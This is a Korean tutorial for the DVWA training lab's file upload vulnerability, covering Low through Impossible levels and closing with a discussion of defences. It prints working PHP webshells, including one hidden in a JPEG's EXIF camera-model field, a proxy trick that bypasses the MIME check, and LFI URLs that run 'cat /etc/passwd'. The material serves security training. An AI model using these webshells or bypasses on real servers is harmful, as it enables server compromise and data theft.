홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#DVWA File Upload #DVWA #Damn Vulnerable Web Application #웹해킹 실습 #실습설명서 #파일업로드 취약점 #webshell #파일업로드 취약점 #PHP 웹쉘 #이미지웹쉘 #웹쉘업로드 #LFI #EXIF #exiftool #웹쉘등록 방어 #방어법 #이미지파일 검증 #A1-Injection

DVWA-1.9: File Upload (파일업로드 취약점) 실습설명서

DVWA(Damn Vulnerable Web Application) 1.9 훈련장 라이브 ISO는 다음에서 다운로드 받을 수 있다.

DVWA 1.9 훈련장 라이브 ISO를 구동하는 방법은 다음 문서에서 볼 수 있다.

여기서는 구동 후 DVWA 훈련장의 주소가 http://192.168.206.136/이었다. DVWA 누리집의 로그인 정보는 admin/password이다. 실습을 진행하기 전에 다음 두 가지 작업을 사전에 수행하야야 한다.

  1. "Setup / Reset DB" 항목에서 "Create / Reset Database"를 실행한다.
  2. "DVWA Security" 항목에서 "Security Level"을 시험하고자 하는 보안수준에 따라 Low, Medium, High 로 변경한다.

Vulnerability: File Upload 공략: Security Level = Low

파일업로드 취약점은 공격자가 서버스크립트 코드가 포함된 파일을 올려서 코드를 실행하는 공격이다. 이러한 파일을 웹쉘(webshell)이라고 한다. 내부파일실행(LFI, Local File Inclusion) 취약점과 비슷하다. 일반적으로 웹쉘업로드 취약점은 다음과 같은 확장자를 가지는 파일을 업로드할 수 있으면 발생하게 된다.

  • ASP/ASPX: asp, aspx, asa, cer, inc, cdx
  • JSP: jsp, jspx
  • PHP5: php, php3, php4, phtml
  • PHP7: php, php3, php4, php5, pht, phtml

Vulnerability: File Upload 실습문제는 PHP 기반의 웹 애플리케이션이다. 파일을 업로드할 수 있다. PHP 코드를 실행할 수 있는 파일을 등록할 수 있는 지 점검하기 위해서 cmd.php라는 파일을 만들었다. cat 명령어로 cmd.php 파일의 내용을 살펴보면 다음과 같다.

root@kali:~# cat cmd.php
<pre>
<?php system($_GET['cmd']) ?>
</pre>
root@kali:~# 

cmd.php에서 $_GET['cmd']cmd라른 GET 변수로 입력값을 받아들인다. 이 문자열을 system() 함수로 전달하면 문자열을 운영체제 명령어로 취급하여 실행하고 표준출력(stdout)을 웹 브라우저로 전달한다. <pre> 내의 문자열은 별다른 처리없이 고정폭 글꼴로 출력된다. 명령어 실행 결과를 보기에 편리하다.

DVWA File Upload low:
[ Vulnerability: File Upload low level, PHP 업로드 ]

cmd.php 파일을 선택하여 업로드한다.

DVWA File Upload low:
[ Vulnerability: File Upload low level, PHP 업로드 결과 ]

업로드 후에 ../../hackable/uploads/cmd.php succesfully uploaded!라는 결과가 출력된다. Vulnerability: File Upload 실습문제의 URL은 http://192.168.206.136/vulnerabilities/upload/이다. 결과 문자열에서 보이는 ../../hackable/uploads/cmd.php 경로를 합치면 http://192.168.206.136/hackable/uploads/cmd.php라는 URL을 추정할 수 있다.

DVWA File Upload low:
[ Vulnerability: File Upload low level, PHP 웹쉘 실행 ]

cmd.php는 GET으로 cmd 변수를 입력한다. 따라서 http://192.168.206.136/hackable/uploads/cmd.php?cmd=ls와 같은 방식으로 운영체제 명령어를 실행할 수 있다. 위의 그림은 http://192.168.206.136/hackable/uploads/cmd.php?cmd=id;uname%20-a;%20cat%20/etc/passwd에 접속한 화면이다. 명령어를 연결하여 id;uname -a;cat /etc/passwd의 세 명령어가 연이어 실행된 모습을 볼 수 있다.

보안수준이 Low인 Vulnerability: File Upload 실습문제에서는 파일업로드 과정에서 아무런 제약이 없다. 이 때문에 어떠한 파일도 업로드가 가능한 상황이다.

Vulnerability: File Upload 공략: Security Level = Medium

보안수준을 Medium으로 높이고, Vulnerability: File Upload 실습문제의 PHP 소스를 살펴보자.

    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) { 

업로드할 파일의 MIME 형식을 점검하고 있다. MIME 형식이 image/jpeg, image/png인 경우에만 파일 업로드를 허용한다. 그런데 이 MIME 형식은 누가 정하는 것일까?

웹 브라우저가 확장자를 기반으로 MIME을 결정해서 전달한다.

root@kali:~# cp cmd.php cmd.php.jpg
root@kali:~# cat cmd.php.jpg
<pre>
<?php system($_GET['cmd']) ?>
</pre>
root@kali:~#

웹 브라우저는 확장자를 기반으로 MIME을 결정하기 때문에 위와 같이 cmd.phpcmd.php.jpg로 변경하면 확장자가 jpg이므로 - 실제로는 이미지가 아님에도 불구하고 - MIME 형식이 image/jpeg가 된다.

HTTP 통신에서, 자바스크립트를 포함하여 웹 브라우저가 결정하는 모든 값은 서버로 전달하기 직전에 - 프록시를 통해서 - 조작이 가능하다!!!

DVWA File Upload medium level
[ Vulnerability: File Upload, medium level 파일 업로드 ]

owasp-zap을 실행한다. Firefox의 Preferences -> Advanced -> Network -> Settings... -> Manual proxy configuration127.0.0.1:8080으로 설정한다. OWASP-ZAP의 상단 중간의 초록색 동그란 단추를 눌러서 ZAP이 HTTP 통신을 일단 가로채도록 한다. Medium Level에서 Vulnerability: File Upload 실습문제에 cmd.php.jpg를 올려보자.

DVWA File Upload medium level
[ Vulnerability: File Upload, medium level, OWSAP-ZAP을 이용한 확장자 조작 ]

OWASP-ZAP에서 가로챈 HTTP 통신에서 filenamecmd.php.jpg에서 cmd.php로 조작한다. Content-type: image/jpeg는 이미 제대로 설정된 것을 볼 수 있다. "가로채기" 단추의 오른쪽 두번째에 있는 삼각형 단추를 눌러서 모든 HTTP 통신을 진행하도록 한다.

DVWA File Upload medium level
[ Vulnerability: File Upload, 성공적으로 php 확장자 파일 업르드 ]

결과는 low level에서와 동일하다. http://192.168.206.136/hackable/uploads/cmd.php라는 URL을 추정할 수 있다. 이제 웹쉘을 실행할 수 있다.

Vulnerability: File Upload 공략: Security Level = High (LFI)

보안수준 High에서의 PHP 소스를 살펴보자.

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) { 

대소문자 구분없이 파일의 확장자가 jpg, jpeg, png인 경우에만 파일 업로드를 허용한다. 또 하나의 조건이 있다. getimagesize() 함수가 FALSE가 아니어야 한다. 실제 이미지 파일이 아닌 경우에는 getimagesize()의 반환값이 FALSE이다.

이미지 업로드 기능에 있어서 현실적으로는 High Level의 방어법이 가장 높은 수준으로 보아도 무방하다 - 다만 원본 파일이름을 변경하지 않고 저장하는 부분은 수정해야 한다. Impossible Level에서는 Exif(Exchangeable image file format) 정보까지 모두 지우는 데, 일반적으로 사진에는 다소 중요한 정보들이 Exif 데이터에 담겨 있어서 Exif를 삭제하는 것은 서비스에 지장을 줄 가능성이 있다. 여기서도 보안과 가용성이 상충하는 것을 볼 수 있지만 보안이 가용성을 이겨서는 안된다.

DVWA File Upload high level
[ Vulnerability: File Upload high level - 평문파일 업로드 실패 ]

cmd.php.jpg 파일을 Vulnerability: File Upload high level에 업로드하였다. 결과는 Your image was not uploaded. We can only accept JPEG or PNG images.로 실패하였다. 이 파일은 확장자가 jpg이지만 내용이 평문 파일이어서 실제 이미지가 아니므로 getimagesize()의 반환값이 FALSE이기 때문에 이처럼 거부된다.

DVWA File Upload high level
[ Vulnerability: File Upload high level - PHP코드를 포함한 이미지 업로드 ]

위 그림에서는 Exif 정보에 PHP 코드를 포함하는 JPEG 이미지를 업로드하였다. 파일이름은 kth.exif.jpg이다. 이 파일에 대해서는 잠시 후에 자세히 설명한다.

실제 상황에서는 Exif에 PHP 코드를 담지 않아도 된다. 이미지 파일의 끝에 평문으로 PHP 코드를 덧붙여도 정상적인 이미지로 인식한다.

업로드한 kth.exif.jpg 파일은 정상적인 이미지이므로 ../../hackable/uploads/kth.exif.jpg succesfully uploaded!라는 결과와 함께 무사히 서버에 저장된다. URL은 http://192.168.206.136/hackable/uploads/kth.exif.jpg이다. 이 파일은 jpg 확장자를 가지고 있고 내용도 정상적인 이미지이다. 따라서 웹브라우저로 열어도 이미지만 출력되고 내부의 PHP 코드는 실행되지 않는다. 파일업로드 취약점은 온전하게 방어하게 되었다!!!

웹취약점분석에서 Vulnerability: File Upload high level은 취약점이 없다고 결론을 내린다. 하지만 여기서 업로드한 이미지웹쉘을 실행할 수 있는 방법이 한가지가 있다. 바로 내부파일실행(LFI) 취약점이다. 이 경우에는 LFI가 취약점이므로 Vulnerability: File Upload high level을 취약점이라고 볼 수는 없다.

DVWA File Upload high level, LFI
[ Vulnerability: File Upload high level - File Inclusion을 이용한 이미지 웹쉘 실행 ]

Damn Vulnerable Web App 훈련장에는 LFI 취약점이 존재한다. 위의 그림은 DVWA File Inclusion high level 취약점을 이용하여 kth.exif.jpg 파일을 PHP로 실행한 결과이다. 명령어는 id; uname -a; cat /etc/passwd이다. LFI를 이용하여 명령어를 실행한 URL은 http://192.168.206.136/vulnerabilities/fi/?page=file:///var/www/hackable/uploads/kth.exif.jpg&1=system&2=id;uname%20-a;%20cat%20/etc/passwd이다.

LFI가 매우 드물게 나타나는 취약점이긴 하지만 어떤 형태로든 파일을 업로드하는 기능이 있으면 "확장자를 불문하는 웹쉘"을 만들 수 있으므로 매우 위험하다.

위의 ktf.exif.jpg는 Exif 정보에 PHP 코드를 담고 있다. 이 정보는 exiftool이라는 도구를 이용하면 수정할 수 있다. 대부분의 이미지 저작도구도 Exif 관리를 지원한다. 다음은 kth.exif.jpg 파일의 PHP 코드 부분이다.

ÿØÿà^@^PJFIF^@^A^A^A^@H^@H^@^@ÿá^DØExif^@^@II*^@^H^@^@^@^Q^@^@^A^D^@^A^@^@^@à^A^@^@^A^A^D^@^A^@^@^@g^A^@^@^B^A^C^@^A^@^@^@^H^@^@^@^C^A^C^@^A^@^@^@^F^@^@^@^O^A^B^@^D^@^@^@LGE^@^P^A^B^@.^@^@^@Ú^@^@^@^R^A^C^@^A^@^@^@^A^@^@^@^Z^A^E^@^A^@^@^@^H^A^@^@^[^A^E^@^A^@^@^@^P^A^@^@(^A^C^@^A^@^@^@^B^@^@^@1^A^B^@^T^@^@^@^X^A^@^@2^A^B^@^T^@^@^@,^A^@^@^R^B^C^@^B^@^@^@^B^@^B^@^S^B^C^@^A^@^@^@^A^@^@^@i<87>^D^@^A^@^@^@p^A^@^@%<88>^D^@^A^@^@^@´^C^@^@þÆ^B^@/^@^@^@@^A^@^@^@^@^@^@<pre><?php $_REQUEST[1]($_REQUEST[2])?></pre>^@H^@^@^@^A^@^@^@H^@^@^@^A^@^@^@HDR+ 1.0.126161355r^@2016:11:01 17:43:14^@Copyright International Color Consortium, 2009^@^@"^@<9a><82>^E^@^A^@^@^@^N^C^@^@<9d><82>^E^@^A^@^@^@^V^C^@^@"<88>^C^@^A^@^@^@^B^@^@^@'<88>^C^@^A^@^@^@<90>^@^@^@^@<90>^G^@^D^@^@^@0220^C<90>^B^@^T^@^@^@^^^C^@^@^D<90>^B^@^T^@^@^@2^C^@^@^A<91>^G^@^D^@^@^@^A^B^C^@^A<92>

위의 kth.exif.jpg는 Exif 정보에 PHP 코드를 담고 있다. 바이너리 속에 - 붉은 색으로 표시된 - PHP 코드를 확인할 수 있다. 이 코드는 Exif 정보에 정상적으로 삽입된 것이므로 kth.exif.jpg는 무결한 이미지 파일이다.

다음은 exiftoolkth.exif.jpg 이미지의 Exif 정보를 열람한 내용이다.

root@kali:~# exiftool pentest/kth.exif.jpg 
ExifTool Version Number         : 10.10
File Name                       : kth.exif.jpg
Directory                       : pentest
File Size                       : 33 kB
File Modification Date/Time     : 2016:12:21 15:19:00+09:00
File Access Date/Time           : 2016:12:21 15:19:16+09:00
File Inode Change Date/Time     : 2016:12:21 15:19:00+09:00
File Permissions                : rw-------
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Little-endian (Intel, II)
Compression                     : JPEG (old-style)
Make                            : LGE
Camera Model Name               : <pre><?php $_REQUEST[1]($_REQUEST[2])?></pre>
Orientation                     : Horizontal (normal)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Software                        : HDR+ 1.0.126161355r
Modify Date                     : 2016:11:01 17:43:14
Y Cb Cr Positioning             : Centered
Exposure Time                   : 1/125
F Number                        : 2.0
Exposure Program                : Program AE
ISO                             : 144
Exif Version                    : 0220
Date/Time Original              : 2016:11:01 17:43:14
Create Date                     : 2016:11:01 17:43:14
Components Configuration        : Y, Cb, Cr, -
Shutter Speed Value             : 1/125
Aperture Value                  : 2.0
Brightness Value                : 3.44
Exposure Compensation           : 0
Max Aperture Value              : 2.0
Subject Distance                : 0 m
Metering Mode                   : Center-weighted average
Focal Length                    : 4.7 mm
Sub Sec Time                    : 096310
Sub Sec Time Original           : 096310
Sub Sec Time Digitized          : 096310
Flashpix Version                : 0100
Color Space                     : sRGB
Exif Image Width                : 4000
Exif Image Height               : 2992
Interoperability Index          : R98 - DCF basic file (sRGB)
Interoperability Version        : 0100
Sensing Method                  : One-chip color area
Scene Type                      : Directly photographed
Custom Rendered                 : Custom
Exposure Mode                   : Auto
White Balance                   : Auto
Scene Capture Type              : Standard
Contrast                        : Normal
Saturation                      : Normal
Sharpness                       : Normal
Subject Distance Range          : Unknown
GPS Version ID                  : 2.2.0.0
GPS Latitude Ref                : North
GPS Longitude Ref               : East
GPS Altitude Ref                : Above Sea Level
GPS Time Stamp                  : 08:43:35
GPS Dilution Of Precision       : 11
GPS Img Direction Ref           : Magnetic North
GPS Img Direction               : 110
GPS Processing Method           : fused
GPS Date Stamp                  : 2016:11:01
Profile Copyright               : Copyright International Color Consortium, 2009
XMP Toolkit                     : Image::ExifTool 10.10
Flash Fired                     : False
Flash Function                  : False
Flash Mode                      : Off
Flash Red Eye Mode              : False
Flash Return                    : No return detection
Image Width                     : 640
Image Height                    : 480
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Aperture                        : 2.0
Flash                           : Off, Did not fire
GPS Altitude                    : 57 m Above Sea Level
GPS Date/Time                   : 2016:11:01 08:43:35Z
GPS Latitude                    : 37 deg 34' 32.92" N
GPS Longitude                   : 126 deg 58' 38.26" E
GPS Position                    : 37 deg 34' 32.92" N, 126 deg 58' 38.26" E
Image Size                      : 640x480
Megapixels                      : 0.307
Shutter Speed                   : 1/125
Create Date                     : 2016:11:01 17:43:14.096310
Date/Time Original              : 2016:11:01 17:43:14.096310
Modify Date                     : 2016:11:01 17:43:14.096310
Focal Length                    : 4.7 mm
Light Value                     : 8.4
root@kali:~# 

kth.exif.jpg는 33KB짜리 이미지이며, Exif의 Camera Model Name 항목에 PHP 웹쉘 코드가 담겨있다. 이 이미지는 칼리리눅스에서 exiftool을 이용하여 만들었다.

Exif(Exchangeable image file format, 교환 이미지 파일 형식)는 주로 디지털 카메라에서 사진이나 음성 파일 속에 파일의 정보와 관련 음성을 저장하기 위해서 사용하는 메타데이터 기록 표준이다. 촬영 시간, 촬영 위치, 초점거리, 사진 크기, 셔터 속도, 카메라 기종, 카메라 제조사 등 매우 다양한 정보를 기록할 수 있다. 이미지 파일의 내부에 저장되는 것이 큰 장점으로 별도의 관리를 필요로 하지 않는다.

Vulnerability: File Upload Security Level = Impossilbe 해설

Vulnerability: File Upload impossible level의 PHP 소스코드를 살펴보자 - 확장자 검증부분은 생략하였다.

        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        } 

업로드한 원본 이미지로부터 MIME 형식에 따라 PHP의 imagecreatefromjpeg() 함수나 imagecreatefrompng() 함수를 이용하여 새로운 이미지를 만들고 있다. 이 두 함수는 이미지만을 처리하기 때문에 이미지 데이타가 아닌 부분은 모두 버린다. 때문에 Exif 데이타도 지워지는 효과가 발생한다. 새로 생성한 이미지에는 별도의 Exif 정보가 삽입된다. 소스를 더 살펴보면 원본 이미지는 서버에 저장하지 않고 버린다.

Vulnerability: File Upload impossible level에 kth.exif.jpg를 업로드해보자.

DVWA File Upload impossible level upload
[ Vulnerability: File Upload impossible level 이미지 업로드 ]

정상적으로 kth.exif.jpg가 업로드되었다. 서버에 저장된 URL은 http://192.168.206.136/hackable/uploads/f1298fe3497c5ee710cf0a4e30f5db30.jpg이다. 이 파일을 접속하면 이미지가 정상적으로 표현된다.

http://192.168.206.136/hackable/uploads/f1298fe3497c5ee710cf0a4e30f5db30.jpg 파일을 칼리리눅스에 저장해서 exiftool로 Exif 정보를 살펴보자.

root@kali:~# wget http://192.168.206.136/hackable/uploads/f1298fe3497c5ee710cf0a4e30f5db30.jpg
--2016-12-21 16:07:42--  http://192.168.206.136/hackable/uploads/f1298fe3497c5ee710cf0a4e30f5db30.jpg
접속 192.168.206.136:80... 접속됨.
HTTP request sent, awaiting response... 200 OK
Length: 96498 (94K) [image/jpeg]
Saving to: ‘f1298fe3497c5ee710cf0a4e30f5db30.jpg’

f1298fe3497c5ee710cf0a4e30f5 100%[===================================>]  94.24K  --.-KB/s    in 0.01s   

2016-12-21 16:07:42 (8.22 MB/s) - ‘f1298fe3497c5ee710cf0a4e30f5db30.jpg’ saved [96498/96498]

root@kali:~# exiftool f1298fe3497c5ee710cf0a4e30f5db30.jpg
ExifTool Version Number         : 10.10
File Name                       : f1298fe3497c5ee710cf0a4e30f5db30.jpg
Directory                       : .
File Size                       : 94 kB
File Modification Date/Time     : 2016:12:22 01:06:35+09:00
File Access Date/Time           : 2016:12:21 16:07:42+09:00
File Inode Change Date/Time     : 2016:12:21 16:07:42+09:00
File Permissions                : rw-rw-r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Comment                         : CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 100.
Image Width                     : 640
Image Height                    : 480
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 640x480
Megapixels                      : 0.307
root@kali:~#

서버에 저장된 f1298fe3497c5ee710cf0a4e30f5db30.jpg 파일은 94KB 이미지 파일이다. 반면 원본인 kth.exif.jpg 파일의 크기는 33KB였다. 두 파일 모두 640x480 해상도의 동일한 이미지인 것처럼 보이지만 실제로는 전혀 다른 파일인 것이다. 이런 방식으로 이미지 파일을 재작성하여 서버에 저장하면 웹쉘 업로드나 LFI 취약점에 악용되는 것을 완전하게 방어할 수는 있다.

그러나 실제 서비스에서는 이러한 방식을 취하기 어렵다.

  • 사용자가 업로드하는 이미지를 조작하는 것에 대한 저작권 문제를 고려하여야 한다.
  • 이미지를 재처리하는 것은 서버에 큰 부담을 줄 가능성이 높다.
  • 최근의 이미지는 주로 사진이며 위치정보 등과 같이 풍부한 정보를 제공하는 데 Exif를 제거하면 이러한 정보를 모두 잃게 되는 결과를 초래한다.

이런 점 때문에 실제 서비스에서는 Vulnerability: File Upload high level의 검증 방식이 가장 안전하게 사용할 수 있는 웹쉘업로드 방어법이다.

[처음 작성한 날: 2016.12.21]    [마지막으로 고친 날: 2016.12.22] 


< 이전 글 : DVWA File Inclusion 실습 설명서 (2016.12.15)

> 다음 글 : DVWA SQL Injection (low, medium, high level) 실습 설명서 (2016.12.24)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문
 __
/ 사람들은 컴퓨터 과학이 천재들의  \
| 기예이라고 생각하지만 사실 현실은  |
| 반대로, 단지 많은 사람이, 작은 돌로 된  |
| 담처럼, 다른 사람의 작업 위에 쌓아  |
| 올릴 뿐이다.  |
|  |
\ - 도날드 E 크누스(Donald E. Knuth)  /
 --
  \
   \   \_\_    _/_/
    \      \__/
           (oo)\_______
           (__)\       )\/\
               ||----w |
               ||     ||
.. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ...... ... ... ] .. [ .../ ..../ ......./ .. ./// ../ ... .. ... .. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ./// ../ ... .. ... ...| ..../ ./ ... / ..| ....| ........ / ... / .... ...... ... ... ] .. [ .../ ..../ ......./ .....| ..../ ./ ... / ..| ....| ........ / ... / .... ...| ..../ ./ ... / ..| ....| ........ / ... / .... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .